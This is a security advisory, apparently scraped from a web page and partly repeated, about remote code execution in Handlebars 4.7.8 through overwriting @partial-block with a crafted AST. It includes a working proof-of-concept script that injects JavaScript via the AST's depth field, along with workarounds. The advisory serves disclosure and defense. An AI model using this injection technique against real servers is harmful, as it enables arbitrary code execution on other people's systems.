Summary
The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.
Description
Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.
When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.
The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.
Proof of Concept
Tested with Handlebars 4.7.8 and handlebars-helpers:
const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);
const vulnerableTemplate = `
{{#*inline "myPartial"}}
{{>@partial-block}}
{{>@partial-block}}
{{/inline}}
{{#>myPartial}}
{{merge @_parent partial-block=1}}
{{merge @_parent partial-block=payload}}
{{/myPartial}}
`;
const maliciousContext = {
payload: {
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Code injected via depth field — breaks out of generated function call
depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block
Workarounds
- Use the runtime-only build (
require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path.
- Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
- Avoid registering helpers from third-party packages (such as
handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
Summary
The
@partial-blockspecial variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites@partial-blockwith a crafted Handlebars AST, a subsequent invocation of{{> @partial-block}}compiles and executes that AST, enabling arbitrary JavaScript execution on the server.Description
Handlebars stores
@partial-blockin thedataframe that is accessible to templates. In nested contexts, a parent frame's@partial-blockis reachable as@_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite@partial-blockwith an attacker-controlled value.When
{{> @partial-block}}is subsequently evaluated,invokePartialreceives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value viaenv.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.The
handlebars-helpersnpm package (commonly used with Handlebars) includes several helpers such asmergethat can be used as the mutation primitive.Proof of Concept
Tested with Handlebars 4.7.8 and
handlebars-helpers:Workarounds
require('handlebars/runtime')). Thecompile()method is absent, eliminating the vulnerable fallback path.handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.